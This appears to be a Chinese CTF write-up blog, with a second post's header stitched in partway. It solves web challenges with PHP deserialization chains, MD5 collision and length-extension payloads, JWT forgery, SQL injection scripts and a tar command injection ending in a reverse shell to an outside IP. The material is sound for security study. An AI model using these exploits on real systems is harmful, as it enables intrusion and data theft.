https://ea50473b-4923-4d2b-b3a8-7a54a9a40e5f.challenge.ctf.show/?view_source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}

function checkCookie($s) {
$arr = explode(':', $s);
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}

function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
$_h_p = strtoupper($_m_u);
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
$_i = ord($_i);
print_r($_i & 0xC0);
}
die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

解释一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}

function checkCookie($s) {
$arr = explode(':', $s); // 把s以:分割成数组
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true; // 检查$arr[1]是否由数字和英文字母A-Z还有"组成
} else {
if ( ! theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}

function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g); // md5加密
$_h_p = strtoupper($_m_u); // 转成大写
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1); // 从第一位开始,一个一个的取
$_i = ord($_i); //返回 $_i 的 ASCII值:
print_r($_i & 0xC0); // 按位与运算11000000 数字都会变成1输出,而字母都会变成0输出
}
die;
}
// 如果没有按位与运算的话,可以把输出的ASCII值返回成字符串再md5解密一下


isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');
// 判断有无secret
// 通过secret赋值给$json,再通过$json建立$obj
// json_decode() 将json格式的数据转换为对象,数组,转换为数组要加true
// json的secret需要满足 checkCookie($s) 里面的条件


if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}
/*要让传入的secret为 $flag_md5,这里就存在漏洞了,利用php的弱类型比较,但是这里又有个问题,在json_decode()返回""里面的内
容是字符串,就不能进行弱类型比较了,但是如果里面的内容,比如数字,没有被""括起来,返回的就是个int整数,所以注意把""删去,也
就是{"secret":123},这里开始没注意到还被坑了,一直没有爆破出来
*/
die;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
from tqdm import tqdm
url = 'http://ea50473b-4923-4d2b-b3a8-7a54a9a40e5f.challenge.ctf.show/?give_me_shell='
s = requests.session()

for i in tqdm(range(1000)):
headers = {
'cookie': f'secret={{"secret": {i}}}'
}
res = s.get(url,headers = headers)
if 'here is your webshell' in res.text:
print(headers)
print(res.text)
break

image-20240817221038792

得到webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
D:\python3.7\python.exe C:\Users\31702\Desktop\123.py 
12%|█▏ | 115/1000 [00:02<00:20, 42.35it/s]
{'cookie': 'secret={"secret": 115}'}
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>real easy checkin</title>
<link href="https://fonts.googleapis.com/css2?family=Inconsolata:wght@400;700&display=swap" rel="stylesheet" />
<style>
body {
margin: 0;
}
p {
font-family: "Inconsolata", monospace;
text-align: center;
font-size: 64px;
vertical-align: middle;
user-select: none;
margin: 0;
}
.flexmagic {
display: flex;
align-items: center;
justify-content: center;
height: 90%;
position: absolute;

margin: 0;
width: 100%;
flex-direction: column;
}
*{margin:0px; padding:0px;}
.botCenter{width:100%; height:35px; line-height:35px; background:#ffffff; position:fixed; bottom:0px; left:0px; font-size:14px; color:#000; text-align:center;}
</style>

</head>
<body>
<a href="https://gem-love.com/" target="_blank"><div class="botCenter">@颖奇L'Amore</div></a>
<a href='./?view_source' target="_blank"><button hidden></button></a>
<div>
<div class="flexmagic">
<p id="magic">I prepared a webshell for you<br>
here is your webshell: w3b5HeLLlll123.php </p>
</div>
</div>


</body>
</html>

<!--flag is in /flag.txt-->


进程已结束,退出代码为 0

moectf勇闯铜人阵

算术题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import requests
import time
from bs4 import BeautifulSoup

session = requests.Session()

base_url = 'http://127.0.0.1:64459/'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
}

directions_map = {
'1': '北方',
'2': '东北方',
'3': '东方',
'4': '东南方',
'5': '南方',
'6': '西南方',
'7': '西方',
'8': '西北方'
}

combinations_map = {
'1, 2': '北方一个,东北方一个', '2, 1': '东北方一个,北方一个',
'1, 3': '北方一个,东方一个', '3, 1': '东方一个,北方一个',
'1, 4': '北方一个,东南方一个', '4, 1': '东南方一个,北方一个',
'1, 5': '北方一个,南方一个', '5, 1': '南方一个,北方一个',
'1, 6': '北方一个,西南方一个', '6, 1': '西南方一个,北方一个',
'1, 7': '北方一个,西方一个', '7, 1': '西方一个,北方一个',
'1, 8': '北方一个,西北方一个', '8, 1': '西北方一个,北方一个',
'2, 3': '东北方一个,东方一个', '3, 2': '东方一个,东北方一个',
'2, 4': '东北方一个,东南方一个', '4, 2': '东南方一个,东北方一个',
'2, 5': '东北方一个,南方一个', '5, 2': '南方一个,东北方一个',
'2, 6': '东北方一个,西南方一个', '6, 2': '西南方一个,东北方一个',
'2, 7': '东北方一个,西方一个', '7, 2': '西方一个,东北方一个',
'2, 8': '东北方一个,西北方一个', '8, 2': '西北方一个,东北方一个',
'3, 4': '东方一个,东南方一个', '4, 3': '东南方一个,东方一个',
'3, 5': '东方一个,南方一个', '5, 3': '南方一个,东方一个',
'3, 6': '东方一个,西南方一个', '6, 3': '西南方一个,东方一个',
'3, 7': '东方一个,西方一个', '7, 3': '西方一个,东方一个',
'3, 8': '东方一个,西北方一个', '8, 3': '西北方一个,东方一个',
'4, 5': '东南方一个,南方一个', '5, 4': '南方一个,东南方一个',
'4, 6': '东南方一个,西南方一个', '6, 4': '西南方一个,东南方一个',
'4, 7': '东南方一个,西方一个', '7, 4': '西方一个,东南方一个',
'4, 8': '东南方一个,西北方一个', '8, 4': '西北方一个,东南方一个',
'5, 6': '南方一个,西南方一个', '6, 5': '西南方一个,南方一个',
'5, 7': '南方一个,西方一个', '7, 5': '西方一个,南方一个',
'5, 8': '南方一个,西北方一个', '8, 5': '西北方一个,南方一个',
'6, 7': '西南方一个,西方一个', '7, 6': '西方一个,西南方一个',
'6, 8': '西南方一个,西北方一个', '8, 6': '西北方一个,西南方一个',
'7, 8': '西方一个,西北方一个', '8, 7': '西北方一个,西方一个'
}


def get_direction(numbers):
if ',' in numbers:
return combinations_map.get(numbers, '未知组合')
else:
return directions_map.get(numbers, '未知方位')

# 开始游戏
start_data = {
'player': 'zxy',
'direct': '弟子明白'
}
response = session.post(base_url, headers=headers, data=start_data)
for i in range(6):
soup = BeautifulSoup(response.text, 'html.parser')
numbers = soup.find('h1', id='status').text.strip()
print(f"接收到的数字组合: {numbers}")

# 计算方位
direction = get_direction(numbers)
print(f"计算出的方位: {direction}")

# 提交方位
answer_data = {
'player': 'zxy',
'direct': direction
}
time.sleep(1)
response = session.post(base_url, headers=headers, data=answer_data)
print(f"提交了方位{answer_data}")

BASECTF [Week2] Really EZ POP

关于pop链的私有属性反射机制以及一些过滤绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

class Sink
{
private $cmd = "system('cat\t/fl*');";
public function __toString()
{
eval($this->cmd); //0 shell
}
}

class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word; //1 Sink
}
}

class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani(); //2 Shark
}
}

class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see; //3 Sea
}
}

$nature = new Nature();
$sea = new Sea();
$shark = new Shark();
$sink = new Sink();

$sharkReflection = new ReflectionClass('Shark');
$wordProperty = $sharkReflection->getProperty('word');
$wordProperty->setAccessible(true);
$wordProperty->setValue($shark, $sink);

$sea->animal = $shark;
$nature->sea = $sea;

echo urlencode(serialize($nature));

BaseCTF 所以你说你懂 MD5?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');
  • 第一个地方用的强比较, 我们可以利用数组绕过
  • 第二个地方强转成了 string, 此时数组会变成 Array 无法绕过

此时我们可以利用第二个地方的弱比较, 让 0e 开头的字符串使 php 误认为是科学计数法, 从而转换为 0

  • 第三个地方第二个地方用了强比较, 此时我们需要找到真实的 MD5 值一致的内容, 我们可以使用 fastcoll 工具

https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

通过调用

1
fastcoll_v1.0.0.5.exe -o a.txt a1.txt

image-20240829184114078

可以获得两个内容不同但 MD5 相同的内容, 将其内容 urlencode 之后传入

1
apple[]=1&banana[]=2&appple=QLTHNDT&bananana=QNKCDZO&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

第四个地方考了 哈希长度拓展攻击

https://wiki.wgpsec.org/knowledge/ctf/Hash-Leng-Extension.html

参考文章: https://luoingly.top/post/md5-length-extension-attack/

使用工具 https://github.com/luoingly/attack-scripts/blob/main/logic/md5-extension-attack.py

此时可以拓展出 admin 尾缀

Basectf [Week4] flag直接读取不就行了?

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>');
}
echo new $J1ng($Hong);
?>
1
2
?K=DirectoryIterator&W=glob:////secret/f11444g.php
J=SplFileObject&H=/secret/f11444g.php
1
2
?K=DirectoryIterator&W=/secret
J=SplFileObject&H=/secret/f11444g.php

Basectf [Week4] No JWT

获取jwt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

def get_jwt_token(login_url, username, password):
login_data = {
'username': username,
'password': password
}
response = requests.post(login_url, json=login_data)
token = response.json().get('token')
print(f"JWT Token: {token}")


login_url = "http://challenge.basectf.fun:48124/login"
username = "admin"
password = "123"
get_jwt_token(login_url, username, password)

image-20240906141821096

1
2
3
4
5
6
7
8
9
10
11
import requests

fake_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNTYwNjQ4Nn0.lpy4mkxg3OGUh2lOlMR0syCY3Z7bL5lmV1Uo3Q17K30'

flag_url = 'http://challenge.basectf.fun:48124/flag'
headers = {
'Authorization': f'Bearer {fake_token}'
}

response = requests.get(flag_url, headers=headers)
print(response.json())

浙江省网络安全宣传洲际台州市网络安全宣传周不知道什么sql题

考的变量覆盖和sql注入

源码

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php  
function replace_bad_word($str){
global $limit_words;
foreach ($limit_words as $old => $new) {
strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
}
return $str;
}

function convert($str){
return htmlentities($str);
}

$limit_words = array('造反' => '造**', '法轮功' => '法**');

foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}
}
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
include 'config.php';
include 'function.php';

$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die('连接数据库失败');
}

$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
$id = $row['COUNT(*)'] + 1;
} else
die($conn->error);

if (isset($_POST['msg']) && $_POST['msg'] !== '') {
$msg = addslashes($_POST['msg']);
$msg = replace_bad_word(convert($msg));
$sql = "INSERT INTO users VALUES($id,'" . $msg . "')";

$result = $conn->query($sql);
echo $sql;
if ($conn->error)
die($conn->error);
}
echo "<center><h1>Welcome come to SEC message board</center></h1>";
echo <<<EOF
<center>
<form action="index.php" method="post">
<p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p>
</form>
</center>
EOF;
$sql = "SELECT * FROM users";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>";
while ($row = $result->fetch_row()) {
echo "<tr><th>$row[0]</th><th>$row[1]</th><tr>";
}
echo "</table></center>";
}
$conn->close();
?>

变量覆盖

1
2
3
4
5
foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}
}

读取传递的参数赋值给key,当$key为sql的时候,就相当于$sql=xxxx,那么就可以将需要的sql语句拼接

然后看sql语句,由于$sql = "SELECT * FROM users";感觉应该不是二次注入

insert注入不支持and where等,也不考虑堆叠等,没有原题,本地环境设置两列,那么第二列使用or拼接

最终payload

1
2
limit_words[sql]=11' or updatexml(1,concat(0x7e,(version())),0) or '');#
&msg=sql

![—
title: “web\U0001F415每日一题”
tags:

  • ctf
  • web
    categories:
    • ctf
    • web
      abbrlink: 10057
      date: 2024-07-17 15:57:27

每日一题

每天一题罢了。。

ctfshow内部赛签到

扫到备份文件

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function check($arr){
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr)){
echo "<script>alert('bad hacker!')</script>";
die();
}
else{
return true;
}
}
session_start();
include('db.php');
if(isset($_POST['e'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$p=$_POST['p'];
$sql ="select username from test1 where email='$e' and password='$p'";
if(check($e)&&check($p)){
$result=mysqli_query($con,$sql);
$row = mysqli_fetch_assoc($result);
if($row){
$_SESSION['u']=$row['username'];
header('location:user.php');
}
else {
echo "<script>alert('Wrong username or password')</script>";
}
}
}
?>

register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function check($arr){
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr)){
echo "<script>alert('bad hacker!')</script>";
die();
}
else{
return true;
}
}

include('db.php');
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1 set email = '$e',username = '$u',password = '$p'";
if(check($e)&&check($u)&&check($p)){
if(mysqli_query($con, $sql))
{
header('location:login.php');
}
}
}
?>

user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<html>
<body background="bg2.jpg">
</body>
</html>
<?php
include('db.php');
session_start();
error_reporting(0);
if($_SESSION['u']){
$username=$_SESSION['u'];

if (is_numeric($username))
{
if(strlen($username)>10) {
$username=substr($username,0,10);
}
echo "Hello $username,there's nothing here but dog food!";
}
else{
echo "<script>alert('The username can only be a number.How did you get here?go out!!!');location.href='login.php';</script>";
}
}
else{
echo "<script>alert('Login first!');location.href='login.php';</script>";
}
?>

通过注册界面的union select

1
2
$sql ="select username from test1 where email='$e' and password='$p'";
$sql ="insert into test1 set email = '$e', username = '$u',password = '$p'"

构造sql语句

1
insert into test1 set email='1',username=hex(hex(substr((select/**/flag/**/from/**/flag),1,1))),password='0'

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import re

url1 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/register.php"
url2 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/login.php"
flag = ''
for i in range(1, 50):
payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str(i) + "/**/for/**/1))),/*"
print(payload)
s = requests.session()
data1 = {
'e': str(i + 30) + "',username=" + payload,
'u': "*/#",
'p': i + 30
}
# print(data1['e'])
r1 = s.post(url1, data=data1)
data2 = {
'e': i + 30,
'p': i + 30
}
r2 = s.post(url2, data=data2)
t = r2.text
real = re.findall("Hello (.*?),", t)[0]
flag += real
print(flag)

image-20240715172712301

image-20240715172731195

1
ctfshow{88827b24-2cd9-4be6-b15d-7eb1055f9c1c}

web15 Fishman

扫到备份文件

image-20240715192511338

member.php中发现漏洞点

image-20240715192603206

当查询返回的用户名为空且密码错误时,进行四次setcookie操作,当查询返回的用户名为不为空时,进行两次setcookie操作利用这个差异,就已经可以实现布尔盲注了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# encoding=utf-8
import requests

url = "https://6209bf27-efaa-4086-b619-a9552f4450f6.challenge.ctf.show/admin/"


def tamper(payload):
payload = payload.lower()
payload = payload.replace('u', '\\u0075')
payload = payload.replace('\'', '\\u0027')
payload = payload.replace('o', '\\u006f')
payload = payload.replace('i', '\\u0069')
payload = payload.replace('"', '\\u0022')
payload = payload.replace(' ', '\\u0020')
payload = payload.replace('s', '\\u0073')
payload = payload.replace('#', '\\u0023')
payload = payload.replace('>', '\\u003e')
payload = payload.replace('<', '\\u003c')
payload = payload.replace('-', '\\u002d')
payload = payload.replace('=', '\\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return payload


# get database length
def databaseName_len():
print("start get database name length...")
for l in range(0, 45):
payload = "1' or (length(database())=" + str(l + 1) + ")#"
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r = requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 1)):
print('get db length = ' + str(l).lower())
break


# get content
def get_databaseName():
flag = ''
for j in range(0, 15):
for c in range(0x20, 0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (database()) between '" + flag + chr(c) + "' and '" + chr(126) + "')#"
# print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r = requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('databasename = ' + flag.lower())
break


# get content
def get_tableName():
flag = ''
for j in range(0, 30): # blind inject
for c in range(0x20, 0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr(
c) + "' and '" + chr(126) + "')#"
# print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r = requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('tablename = ' + flag.lower())
break


# get content
def get_ColumnName():
flag = ''
for j in range(0, 10): # blind inject
for c in range(0x20, 0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr(
c) + "' and '" + chr(126) + "')#"
# print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r = requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('column name = ' + flag.lower())
break


# get content
def get_value():
flag = ''
for j in range(0, 50): # blind inject
for c in range(0x20, 0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr(c) + "' and '" + chr(
126) + "')#"
# print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r = requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('flag = ' + flag.lower())
break


print("start database sql injection...")
# databaseName_len()
# get_databaseName()
# get_tableName()
# get_ColumnName()
get_value()

image-20240715204411268

[CISCN 2023 华北]ez_date

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

在反序列化的时候会自动触发这个类中的wakeup方法,看见关键代码

1
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) )

测试代码

1
2
3
4
5
6
7
8
<?php
if (sha1(12) === sha1('12') && md5(1) === md5('1')){
echo '===';
}
else{
echo '!=';
}
?>

image-20240717091858101

正则

1
2
3
4
5
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
(\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符
(\n)+: 匹配一个或多个换行符
/i : 匹配时不区分大小写
把上面匹配到的内容全部置换为空

还有两个点

  • date函数可以转义

  • file_put_contents() 是 PHP 中的一个内置函数,用于写入数据到一个文件,或者创建一个新的文件。可以一次写入全部内容,而不需要打开、写入和关闭文件的多个步骤。

    1
    file_put_contents($uuid,$content);
    • $uuid 参数会被用作文件名。例如,如果 $uuid 的值是 'abc123',那么数据就会被写入到名为 'abc123' 的文件中。
    • $content 参数是你想要写入文件的数据。它可以是任何可以被转换为字符串的内容。

因此得到最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

$yiyi = new date();
$yiyi -> a = 1;
$yiyi -> b = '1';
$yiyi -> file = '/f\l\a\g';

echo base64_encode(serialize($yiyi));

image-20240717092802571

[CISCN 2023 华北]pysym

随便传一个看看

image-20240717093053044

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'

links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
if not os.path.isfile(filepath):
return '404', 404
return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=1337)

上传tar

image-20240717094033026

根据源码,只有限制长度,上传后调用系统命令对其进行,由于没有文件名的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'

我们可以根据这个特性进行RCE

image-20240717095108731

没有回显,考虑反弹shell

image-20240717105730290

image-20240717110137582

1
bash >& /dev/tcp/101.37.27.18/4444 0>&1
1
